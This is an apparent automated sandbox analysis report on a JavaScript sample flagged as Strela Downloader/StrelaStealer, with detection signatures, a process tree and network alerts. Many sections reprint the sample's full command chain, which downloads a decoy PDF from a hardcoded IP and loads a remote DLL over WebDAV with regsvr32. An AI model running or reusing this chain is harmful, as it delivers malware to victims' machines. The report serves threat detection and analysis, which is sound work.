Edit tour

Windows Analysis Report
47411761265155214.js

Overview

General Information

Sample name:	47411761265155214.js
Analysis ID:	1588637
MD5:	c4f57f07e3d5042e79c0d071c05479d8
SHA1:	fe30c0c1816b9a87dddd378c05400df673379047
SHA256:	1b0861c477409e2fd92ab81e7e34e72e0bcd4ed8cb1b141a63481d52aaf80c6f
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3920 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 1088 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 1372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7148 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2616 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1476 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7340 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2148 --field-trial-handle=1548,i,6924029694045850137,14892163335497292291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6352 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6580 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7212 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3920	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1088, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7148, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1088, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7148, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", ProcessId: 3920, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6580, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 1088, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 1088, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 1088, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 1088, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 1088, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", ProcessId: 3920, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1088, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7148, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6580, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7212, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6352, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6580, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\47411761265155214.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3920, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1609222332894.dll, ProcessId: 1088, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:32:09.851920+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:32:12.286493+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T03:32:09.851920+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 47411761265155214.js

Virustotal: Detection: 10%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 47411761265155214.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 47411761265155214.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.5:49704 -> 193.143.1.205:80
Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 02:32:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

